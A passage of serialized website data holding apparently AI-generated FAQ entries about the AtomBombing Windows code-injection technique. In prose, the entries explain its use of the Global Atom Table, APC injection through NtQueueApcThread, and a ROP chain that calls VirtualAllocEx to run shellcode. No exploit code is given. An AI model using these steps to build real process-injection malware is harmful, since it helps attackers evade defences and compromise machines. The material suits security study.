segment), AtomBombing constructs a ROP chain. The ROP chain calls `VirtualAllocEx` to allocate RWX memory, copies the shellcode there, and then executes it. This approach avoids reliance on easily detected RWX memory regions. For comparison, see [Testing and Analysis of Bypassing AppLocker Using LUA Scripts](\u002Fnews\u002Ftesting-and-analysis-of-bypassing-applocker-using-lua-scripts) for alternative bypass techniques.","how-does-atombombing-execute-the-shellcode-after-writing-it-into-the-target-proc-1777485372468","ROP chain, shellcode execution, VirtualAllocEx, RW memory, RWX memory","2026-07-23T16:03:13.464Z",{"id":754,"question":755,"answer":756,"answerHtml":756,"slug":757,"keywords":758,"article":280,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":759,"createdAt":759,"_status":61},51,"Why did the original APC injection method fail for AtomBombing and how was it overcome?","The standard `QueueUserAPC` function only passes one parameter to the target process, but `GlobalGetAtomName` requires three. The researchers debugged and found that `NtQueueApcThread` (the underlying native API) can pass three parameters, solving the problem. This adaptation is a key innovation in the [AtomBombing Exploitation Analysis](\u002Fnews\u002Fatombombing-exploitation-analysis) approach.","why-did-the-original-apc-injection-method-fail-for-atombombing-and-how-was-it-ov-1777485372412","APC injection, QueueUserAPC, NtQueueApcThread, GlobalGetAtomName, parameter passing","2026-07-23T16:03:11.933Z",{"id":38,"question":761,"answer":762,"answerHtml":762,"slug":763,"keywords":764,"article":280,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":765,"createdAt":765,"_status":61},"What is AtomBombing and how does it achieve code injection?","AtomBombing is a code injection technique disclosed by EnSilo in 2016 that works across all Windows versions. It exploits the Global Atom Table to pass shellcode between processes and uses APC injection via the undocumented `NtQueueApcThread` function to force the target process to retrieve and execute the payload. The technique is described in detail in the [AtomBombing Exploitation Analysis](\u002Fnews\u002Fatombombing-exploitation-analysis) article.","what-is-atombombing-and-how-does-it-achieve-code-injection-1777485372352","AtomBombing, code injection, APC injection, NtQueueApcThread, Global Atom Table","2026-07-23T16:03:11.273Z",{"title":26,"description":26,"image":26},"2026-07-24T15:37:15.793Z","2026-07-23T16:00:56.519Z",true,296]